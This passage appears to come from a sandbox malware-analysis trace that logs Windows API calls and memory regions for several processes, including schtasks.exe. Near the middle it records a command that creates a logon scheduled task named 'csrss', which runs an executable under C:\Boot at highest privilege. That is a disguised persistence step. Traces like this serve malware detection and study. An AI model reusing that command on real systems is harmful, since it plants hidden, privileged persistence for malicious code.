(in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd50 | out: hHeap=0x220000) returned 1 [0068.362] GetProcessHeap () returned 0x220000 [0068.362] GetProcessHeap () returned 0x220000 [0068.362] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d700) returned 1 [0068.362] GetProcessHeap () returned 0x220000 [0068.362] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d700) returned 0xa [0068.362] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d700 | out: hHeap=0x220000) returned 1 [0068.362] GetProcessHeap () returned 0x220000 [0068.362] GetProcessHeap () returned 0x220000 [0068.362] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd20) returned 1 [0068.363] GetProcessHeap () returned 0x220000 [0068.363] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cd20) returned 0x20 [0068.363] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd20 | out: hHeap=0x220000) returned 1 [0068.363] GetProcessHeap () returned 0x220000 [0068.363] GetProcessHeap () returned 0x220000 [0068.363] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d720) returned 1 [0068.363] GetProcessHeap () returned 0x220000 [0068.363] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d720) returned 0xc [0068.363] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d720 | out: hHeap=0x220000) returned 1 [0068.363] GetProcessHeap () returned 0x220000 [0068.363] GetProcessHeap () returned 0x220000 [0068.363] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ccf0) returned 1 [0068.363] GetProcessHeap () returned 0x220000 [0068.363] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ccf0) returned 0x20 [0068.364] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ccf0 | out: hHeap=0x220000) returned 1 [0068.364] GetProcessHeap () returned 0x220000 [0068.364] GetProcessHeap () returned 0x220000 [0068.364] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23baf0) returned 1 [0068.364] GetProcessHeap () returned 0x220000 [0068.364] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23baf0) returned 0x18 [0068.364] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23baf0 | out: hHeap=0x220000) returned 1 [0068.364] GetProcessHeap () returned 0x220000 [0068.364] GetProcessHeap () returned 0x220000 [0068.364] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235a90) returned 1 [0068.364] GetProcessHeap () returned 0x220000 [0068.364] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235a90) returned 0x20 [0068.364] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235a90 | out: hHeap=0x220000) returned 1 [0068.364] GetProcessHeap () returned 0x220000 [0068.364] GetProcessHeap () returned 0x220000 [0068.364] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235ac0) returned 1 [0068.364] GetProcessHeap () returned 0x220000 [0068.364] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235ac0) returned 0x20 [0068.365] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235ac0 | out: hHeap=0x220000) returned 1 [0068.365] GetProcessHeap () returned 0x220000 [0068.365] GetProcessHeap () returned 0x220000 [0068.365] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235af0) returned 1 [0068.365] GetProcessHeap () returned 0x220000 [0068.365] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235af0) returned 0x20 [0068.365] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235af0 | out: hHeap=0x220000) returned 1 [0068.365] GetProcessHeap () returned 0x220000 [0068.365] GetProcessHeap () returned 0x220000 [0068.365] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235b20) returned 1 [0068.365] GetProcessHeap () returned 0x220000 [0068.365] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235b20) returned 0x20 [0068.366] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235b20 | out: hHeap=0x220000) returned 1 [0068.366] GetProcessHeap () returned 0x220000 [0068.366] GetProcessHeap () returned 0x220000 [0068.366] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23bb10) returned 1 [0068.366] GetProcessHeap () returned 0x220000 [0068.366] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23bb10) returned 0x18 [0068.366] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bb10 | out: hHeap=0x220000) returned 1 [0068.366] GetProcessHeap () returned 0x220000 [0068.366] GetProcessHeap () returned 0x220000 [0068.366] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235b50) returned 1 [0068.366] GetProcessHeap () returned 0x220000 [0068.366] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235b50) returned 0x20 [0068.366] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235b50 | out: hHeap=0x220000) returned 1 [0068.367] GetProcessHeap () returned 0x220000 [0068.367] GetProcessHeap () returned 0x220000 [0068.367] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235be0) returned 1 [0068.367] GetProcessHeap () returned 0x220000 [0068.367] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235be0) returned 0x20 [0068.367] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235be0 | out: hHeap=0x220000) returned 1 [0068.367] GetProcessHeap () returned 0x220000 [0068.367] GetProcessHeap () returned 0x220000 [0068.367] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235c40) returned 1 [0068.367] GetProcessHeap () returned 0x220000 [0068.367] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235c40) returned 0x20 [0068.368] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235c40 | out: hHeap=0x220000) returned 1 [0068.368] GetProcessHeap () returned 0x220000 [0068.368] GetProcessHeap () returned 0x220000 [0068.368] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235ca0) returned 1 [0068.368] GetProcessHeap () returned 0x220000 [0068.368] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235ca0) returned 0x20 [0068.368] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235ca0 | out: hHeap=0x220000) returned 1 [0068.368] GetProcessHeap () returned 0x220000 [0068.368] GetProcessHeap () returned 0x220000 [0068.368] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235cd0) returned 1 [0068.368] GetProcessHeap () returned 0x220000 [0068.368] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235cd0) returned 0x20 [0068.369] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235cd0 | out: hHeap=0x220000) returned 1 [0068.369] GetProcessHeap () returned 0x220000 [0068.369] GetProcessHeap () returned 0x220000 [0068.369] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23bb30) returned 1 [0068.369] GetProcessHeap () returned 0x220000 [0068.369] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23bb30) returned 0x18 [0068.369] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bb30 | out: hHeap=0x220000) returned 1 [0068.369] GetProcessHeap () returned 0x220000 [0068.369] GetProcessHeap () returned 0x220000 [0068.369] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235c10) returned 1 [0068.369] GetProcessHeap () returned 0x220000 [0068.369] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235c10) returned 0x20 [0068.369] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235c10 | out: hHeap=0x220000) returned 1 [0068.369] GetProcessHeap () returned 0x220000 [0068.369] GetProcessHeap () returned 0x220000 [0068.369] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23bab0) returned 1 [0068.369] GetProcessHeap () returned 0x220000 [0068.369] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23bab0) returned 0x18 [0068.370] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bab0 | out: hHeap=0x220000) returned 1 [0068.370] exit (_Code=0) Thread: id = 127 os_tid = 0xf80 Process: id = "24" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3c93d000" os_pid = "0xf84" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"csrss\" /sc ONLOGON /tr \"'C:\\Boot\\cs-CZ\\csrss.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2616 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2617 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2618 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2619 start_va = 0x120000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 2620 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2621 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2622 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2623 start_va = 0xff3d0000 end_va = 0xff417fff monitored = 1 entry_point = 0xff3f966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2624 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2625 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2626 start_va = 0x7fffffd4000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2627 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2628 start_va = 0x1a0000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 2629 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2630 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2631 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2632 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2633 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2634 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2635 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2636 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2637 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2638 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2639 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2640 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2641 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2642 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2643 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2644 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2645 start_va = 0x1a0000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 2646 start_va = 0x240000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2647 start_va = 0x340000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 2648 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2649 start_va = 0x440000 end_va = 0x5c7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2650 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2651 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2652 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2653 start_va = 0x5d0000 end_va = 0x750fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 2654 start_va = 0x760000 end_va = 0x1b5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 2655 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2656 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2657 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2658 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2659 start_va = 0x1b60000 end_va = 0x1e2efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2660 start_va = 0x1e30000 end_va = 0x1eacfff monitored = 0 entry_point = 0x1e3cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2661 start_va = 0x1e30000 end_va = 0x1eacfff monitored = 0 entry_point = 0x1e3cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2662 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2663 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2664 start_va = 0x1e30000 end_va = 0x1feffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e30000" filename = "" Region: id = 2665 start_va = 0x1e30000 end_va = 0x1f0efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e30000" filename = "" Region: id = 2666 start_va = 0x1f70000 end_va = 0x1feffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 2667 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2668 start_va = 0x2100000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 2669 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2670 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2671 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2672 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2673 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2674 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2675 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2678 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 128 os_tid = 0xf88 [0068.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19f760 | out: lpSystemTimeAsFileTime=0x19f760*(dwLowDateTime=0x51c76040, dwHighDateTime=0x1d9eb0c)) [0068.286] GetCurrentProcessId () returned 0xf84 [0068.286] GetCurrentThreadId () returned 0xf88 [0068.286] GetTickCount () returned 0x17669d1 [0068.286] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x19f768 | out: lpPerformanceCount=0x19f768*=2487476978557) returned 1 [0068.287] GetModuleHandleW (lpModuleName=0x0) returned 0xff3d0000 [0068.287] __set_app_type (_Type=0x1) [0068.287] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff3f972c) returned 0x0 [0068.287] __wgetmainargs (in: _Argc=0xff411240, _Argv=0xff411250, _Env=0xff411248, _DoWildCard=0, _StartInfo=0xff41125c | out: _Argc=0xff411240, _Argv=0xff411250, _Env=0xff411248) returned 0 [0068.289] _onexit (_Func=0xff402ab0) returned 0xff402ab0 [0068.289] _onexit (_Func=0xff402ac4) returned 0xff402ac4 [0068.289] _onexit (_Func=0xff402afc) returned 0xff402afc [0068.289] _onexit (_Func=0xff402b58) returned 0xff402b58 [0068.289] _onexit (_Func=0xff402b80) returned 0xff402b80 [0068.289] _onexit (_Func=0xff402ba8) returned 0xff402ba8 [0068.289] _onexit (_Func=0xff402bd0) returned 0xff402bd0 [0068.290] _onexit (_Func=0xff402bf8) returned 0xff402bf8 [0068.290] _onexit (_Func=0xff402c20) returned 0xff402c20 [0068.290] _onexit (_Func=0xff402c48) returned 0xff402c48 [0068.290] _onexit (_Func=0xff402c70) returned 0xff402c70 [0068.290] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0068.290] WinSqmIsOptedIn () returned 0x0 [0068.291] GetProcessHeap () returned 0x240000 [0068.291] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25ba10 [0068.291] SetLastError (dwErrCode=0x0) [0068.291] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0068.291] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0068.291] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0068.291] VerifyVersionInfoW (in: lpVersionInformation=0x19ef20, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x19ef20) returned 1 [0068.291] GetProcessHeap () returned 0x240000 [0068.291] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25ba30 [0068.291] lstrlenW (lpString="") returned 0 [0068.291] GetProcessHeap () returned 0x240000 [0068.291] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x2) returned 0x25ba50 [0068.291] GetProcessHeap () returned 0x240000 [0068.291] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x2559e0 [0068.291] GetProcessHeap () returned 0x240000 [0068.291] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25ba70 [0068.291] GetProcessHeap () returned 0x240000 [0068.291] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255a10 [0068.291] GetProcessHeap () returned 0x240000 [0068.291] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255a40 [0068.292] GetProcessHeap () returned 0x240000 [0068.292] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255a70 [0068.292] GetProcessHeap () returned 0x240000 [0068.292] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255aa0 [0068.292] GetProcessHeap () returned 0x240000 [0068.292] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25ba90 [0068.292] GetProcessHeap () returned 0x240000 [0068.292] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255ad0 [0068.292] GetProcessHeap () returned 0x240000 [0068.292] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255b00 [0068.292] GetProcessHeap () returned 0x240000 [0068.292] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255b30 [0068.292] GetProcessHeap () returned 0x240000 [0068.292] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255b60 [0068.292] GetProcessHeap () returned 0x240000 [0068.292] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25bab0 [0068.292] GetProcessHeap () returned 0x240000 [0068.292] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255b90 [0068.292] GetProcessHeap () returned 0x240000 [0068.292] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255bc0 [0068.292] GetProcessHeap () returned 0x240000 [0068.292] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255bf0 [0068.292] GetProcessHeap () returned 0x240000 [0068.292] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255c20 [0068.292] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.292] SetLastError (dwErrCode=0x0) [0068.293] GetProcessHeap () returned 0x240000 [0068.293] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255c50 [0068.293] GetProcessHeap () returned 0x240000 [0068.293] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255c80 [0068.293] GetProcessHeap () returned 0x240000 [0068.293] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255cb0 [0068.293] GetProcessHeap () returned 0x240000 [0068.293] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255ce0 [0068.293] GetProcessHeap () returned 0x240000 [0068.293] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255d10 [0068.293] GetProcessHeap () returned 0x240000 [0068.293] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25cbb0 [0068.293] _memicmp (_Buf1=0x25cbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0068.293] GetProcessHeap () returned 0x240000 [0068.293] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x208) returned 0x25cbd0 [0068.293] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x25cbd0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0068.293] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0068.295] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0068.295] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", 